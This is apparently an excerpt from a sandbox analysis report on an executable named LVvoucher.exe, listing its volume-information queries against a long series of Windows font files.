Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\segoeuii.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\seguisli.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\seguili.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\seguisbi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\segoeuiz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\seguibl.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\seguibli.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\seguiemj.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation Jump to behavior
